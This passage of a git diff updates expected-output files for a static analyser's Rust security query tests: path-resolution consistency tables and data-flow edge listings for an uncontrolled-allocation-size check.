file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..ea9e17f0c1d4 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,23 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | +| file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | +| file://:0:0:0:0 | fn encode_by_ref | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode_by_ref | +| file://:0:0:0:0 | fn encode_by_ref | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode_by_ref | +| file://:0:0:0:0 | fn produces | file://:0:0:0:0 | Crate(core@0.0.0) | ::produces | +| file://:0:0:0:0 | fn produces | file://:0:0:0:0 | Crate(core@0.0.0) | ::produces | +| file://:0:0:0:0 | fn size_hint | file://:0:0:0:0 | Crate(core@0.0.0) | ::size_hint | +| file://:0:0:0:0 | fn size_hint | file://:0:0:0:0 | Crate(core@0.0.0) | ::size_hint | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl ...::Encode::<...> for Option::<...> { ... } | file://:0:0:0:0 | Crate(core@0.0.0) | | +| file://:0:0:0:0 | impl ...::Encode::<...> for Option::<...> { ... } | file://:0:0:0:0 | Crate(core@0.0.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected index d2b3e2e156c4..0e9acca98d73 100644 --- a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected +++ b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected @@ -53,40 +53,36 @@ edges | main.rs:18:41:18:41 | v | main.rs:32:60:32:89 | ... * ... | provenance | | | main.rs:18:41:18:41 | v | main.rs:35:9:35:10 | s6 | provenance | | | main.rs:20:9:20:10 | l2 | main.rs:21:31:21:32 | l2 | provenance | | -| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:33 | +| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:31 | | main.rs:20:14:20:63 | ... .unwrap() | main.rs:20:9:20:10 | l2 | provenance | | | main.rs:20:50:20:50 | v | main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:21:31:21:32 | l2 | main.rs:21:13:21:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:21:31:21:32 | l2 | main.rs:22:31:22:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | | main.rs:21:31:21:32 | l2 | main.rs:23:31:23:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | | main.rs:21:31:21:32 | l2 | main.rs:24:38:24:39 | l2 | provenance | | -| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:33 | +| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:31 | | main.rs:22:31:22:53 | ... .unwrap() | main.rs:22:13:22:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:33 | -| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:26 | +| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:31 | +| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:25 | | main.rs:23:31:23:68 | ... .pad_to_align() | main.rs:23:13:23:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:24:38:24:39 | l2 | main.rs:24:13:24:36 | ...::alloc_zeroed | provenance | MaD:4 Sink:MaD:4 | | main.rs:29:9:29:10 | l4 | main.rs:30:31:30:32 | l4 | provenance | | | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | main.rs:29:9:29:10 | l4 | provenance | | -| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | +| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | | main.rs:30:31:30:32 | l4 | main.rs:30:13:30:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:32:9:32:10 | l5 | main.rs:33:31:33:32 | l5 | provenance | | | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | main.rs:32:9:32:10 | l5 | provenance | | -| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | +| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | | main.rs:33:31:33:32 | l5 | main.rs:33:13:33:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:35:9:35:10 | s6 | main.rs:36:60:36:61 | s6 | provenance | | | main.rs:36:9:36:10 | l6 | main.rs:37:31:37:32 | l6 | provenance | | -| main.rs:36:9:36:10 | l6 [Layout.size] | main.rs:37:31:37:32 | l6 [Layout.size] | provenance | | | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | main.rs:36:9:36:10 | l6 | provenance | | -| main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) [Layout.size] | main.rs:36:9:36:10 | l6 [Layout.size] | provenance | | -| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | -| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) [Layout.size] | provenance | MaD:24 | +| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | | main.rs:37:31:37:32 | l6 | main.rs:37:13:37:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:30 | -| main.rs:37:31:37:32 | l6 [Layout.size] | main.rs:39:60:39:68 | l6.size() | provenance | MaD:29 | +| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:28 | | main.rs:39:9:39:10 | l7 | main.rs:40:31:40:32 | l7 | provenance | | | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | main.rs:39:9:39:10 | l7 | provenance | | -| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:25 | +| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | | main.rs:40:31:40:32 | l7 | main.rs:40:13:40:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:43:44:43:51 | ...: usize | main.rs:50:41:50:41 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:51:41:51:45 | ... + ... | provenance | | @@ -94,25 +90,25 @@ edges | main.rs:43:44:43:51 | ...: usize | main.rs:54:48:54:53 | ... * ... | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:58:34:58:34 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:67:46:67:46 | v | provenance | | -| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:33 | +| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:31 | | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | main.rs:50:31:50:53 | ... .0 | provenance | | | main.rs:50:31:50:53 | ... .0 | main.rs:50:13:50:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:27 | -| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:33 | +| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | +| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:31 | | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | main.rs:51:31:51:57 | ... .0 | provenance | | | main.rs:51:31:51:57 | ... .0 | main.rs:51:13:51:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:27 | -| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:33 | +| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | +| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:31 | | main.rs:53:31:53:58 | ... .unwrap() | main.rs:53:13:53:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:28 | -| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:33 | +| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | +| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:31 | | main.rs:54:31:54:63 | ... .unwrap() | main.rs:54:13:54:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:28 | +| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | | main.rs:58:9:58:20 | TuplePat [tuple.0] | main.rs:58:10:58:11 | k1 | provenance | | | main.rs:58:10:58:11 | k1 | main.rs:59:31:59:32 | k1 | provenance | | -| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:32 | +| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:30 | | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | main.rs:58:9:58:20 | TuplePat [tuple.0] | provenance | | -| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:27 | +| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | | main.rs:59:31:59:32 | k1 | main.rs:59:13:59:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:59:31:59:32 | k1 | main.rs:60:34:60:35 | k1 | provenance | | | main.rs:59:31:59:32 | k1 | main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | provenance | MaD:20 | @@ -120,28 +116,28 @@ edges | main.rs:59:31:59:32 | k1 | main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | provenance | MaD:22 | | main.rs:60:9:60:20 | TuplePat [tuple.0] | main.rs:60:10:60:11 | k2 | provenance | | | main.rs:60:10:60:11 | k2 | main.rs:61:31:61:32 | k2 | provenance | | -| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:33 | +| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | main.rs:60:9:60:20 | TuplePat [tuple.0] | provenance | | | main.rs:60:34:60:35 | k1 | main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | provenance | MaD:19 | | main.rs:61:31:61:32 | k2 | main.rs:61:13:61:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:62:9:62:20 | TuplePat [tuple.0] | main.rs:62:10:62:11 | k3 | provenance | | | main.rs:62:10:62:11 | k3 | main.rs:63:31:63:32 | k3 | provenance | | -| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:33 | +| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | main.rs:62:9:62:20 | TuplePat [tuple.0] | provenance | | | main.rs:63:31:63:32 | k3 | main.rs:63:13:63:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:33 | +| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:31 | | main.rs:64:31:64:59 | ... .unwrap() | main.rs:64:13:64:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:64:48:64:49 | k1 | main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | provenance | MaD:21 | -| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:33 | +| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:31 | | main.rs:65:31:65:59 | ... .unwrap() | main.rs:65:13:65:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:67:9:67:10 | l4 | main.rs:68:31:68:32 | l4 | provenance | | -| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:33 | +| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:31 | | main.rs:67:14:67:56 | ... .unwrap() | main.rs:67:9:67:10 | l4 | provenance | | | main.rs:67:46:67:46 | v | main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:68:31:68:32 | l4 | main.rs:68:13:68:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:86:35:86:42 | ...: usize | main.rs:87:54:87:54 | v | provenance | | | main.rs:87:9:87:14 | layout | main.rs:88:31:88:36 | layout | provenance | | -| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:33 | +| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:31 | | main.rs:87:18:87:67 | ... .unwrap() | main.rs:87:9:87:14 | layout | provenance | | | main.rs:87:54:87:54 | v | main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:88:31:88:36 | layout | main.rs:88:13:88:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | @@ -154,14 +150,14 @@ edges | main.rs:91:38:91:45 | ...: usize | main.rs:161:55:161:55 | v | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:96:35:96:36 | l1 | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:102:35:102:36 | l1 | provenance | | -| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:33 | +| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:31 | | main.rs:92:14:92:57 | ... .unwrap() | main.rs:92:9:92:10 | l1 | provenance | | | main.rs:92:47:92:47 | v | main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:96:35:96:36 | l1 | main.rs:96:17:96:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:96:35:96:36 | l1 | main.rs:109:35:109:36 | l1 | provenance | | | main.rs:96:35:96:36 | l1 | main.rs:111:35:111:36 | l1 | provenance | | | main.rs:101:13:101:14 | l3 | main.rs:103:35:103:36 | l3 | provenance | | -| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:33 | +| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:31 | | main.rs:101:18:101:61 | ... .unwrap() | main.rs:101:13:101:14 | l3 | provenance | | | main.rs:101:51:101:51 | v | main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:102:35:102:36 | l1 | main.rs:102:17:102:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | @@ -174,26 +170,26 @@ edges | main.rs:111:35:111:36 | l1 | main.rs:111:17:111:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:111:35:111:36 | l1 | main.rs:146:35:146:36 | l1 | provenance | | | main.rs:145:13:145:14 | l9 | main.rs:148:35:148:36 | l9 | provenance | | -| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:33 | +| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:31 | | main.rs:145:18:145:61 | ... .unwrap() | main.rs:145:13:145:14 | l9 | provenance | | | main.rs:145:51:145:51 | v | main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:146:35:146:36 | l1 | main.rs:146:17:146:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:146:35:146:36 | l1 | main.rs:177:31:177:32 | l1 | provenance | | | main.rs:148:35:148:36 | l9 | main.rs:148:17:148:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:151:9:151:11 | l10 | main.rs:152:31:152:33 | l10 | provenance | | -| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:33 | +| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:31 | | main.rs:151:15:151:78 | ... .unwrap() | main.rs:151:9:151:11 | l10 | provenance | | | main.rs:151:48:151:68 | ...::min(...) | main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:36 | +| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:34 | | main.rs:152:31:152:33 | l10 | main.rs:152:13:152:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:154:9:154:11 | l11 | main.rs:155:31:155:33 | l11 | provenance | | -| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:33 | +| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:31 | | main.rs:154:15:154:78 | ... .unwrap() | main.rs:154:9:154:11 | l11 | provenance | | | main.rs:154:48:154:68 | ...::max(...) | main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:35 | +| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:33 | | main.rs:155:31:155:33 | l11 | main.rs:155:13:155:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:161:13:161:15 | l13 | main.rs:162:35:162:37 | l13 | provenance | | -| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:33 | +| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:31 | | main.rs:161:19:161:68 | ... .unwrap() | main.rs:161:13:161:15 | l13 | provenance | | | main.rs:161:55:161:55 | v | main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:162:35:162:37 | l13 | main.rs:162:17:162:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | @@ -202,7 +198,7 @@ edges | main.rs:177:31:177:32 | l1 | main.rs:177:13:177:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:183:29:183:36 | ...: usize | main.rs:192:46:192:46 | v | provenance | | | main.rs:192:9:192:10 | l2 | main.rs:193:38:193:39 | l2 | provenance | | -| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:33 | +| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:31 | | main.rs:192:14:192:56 | ... .unwrap() | main.rs:192:9:192:10 | l2 | provenance | | | main.rs:192:46:192:46 | v | main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:193:38:193:39 | l2 | main.rs:193:32:193:36 | alloc | provenance | MaD:10 Sink:MaD:10 | @@ -230,18 +226,18 @@ edges | main.rs:223:26:223:26 | v | main.rs:223:13:223:24 | ...::calloc | provenance | MaD:13 Sink:MaD:13 | | main.rs:223:26:223:26 | v | main.rs:224:31:224:31 | v | provenance | | | main.rs:224:31:224:31 | v | main.rs:224:13:224:25 | ...::realloc | provenance | MaD:15 Sink:MaD:15 | -| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:34 | +| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:32 | | main.rs:280:9:280:17 | num_bytes | main.rs:282:54:282:62 | num_bytes | provenance | | | main.rs:280:21:280:47 | user_input.parse() [Ok] | main.rs:280:21:280:48 | TryExpr | provenance | | | main.rs:280:21:280:48 | TryExpr | main.rs:280:9:280:17 | num_bytes | provenance | | | main.rs:282:9:282:14 | layout | main.rs:284:40:284:45 | layout | provenance | | -| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:33 | +| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:31 | | main.rs:282:18:282:75 | ... .unwrap() | main.rs:282:9:282:14 | layout | provenance | | | main.rs:282:54:282:62 | num_bytes | main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:284:40:284:45 | layout | main.rs:284:22:284:38 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:308:25:308:38 | ...::args | main.rs:308:25:308:40 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) 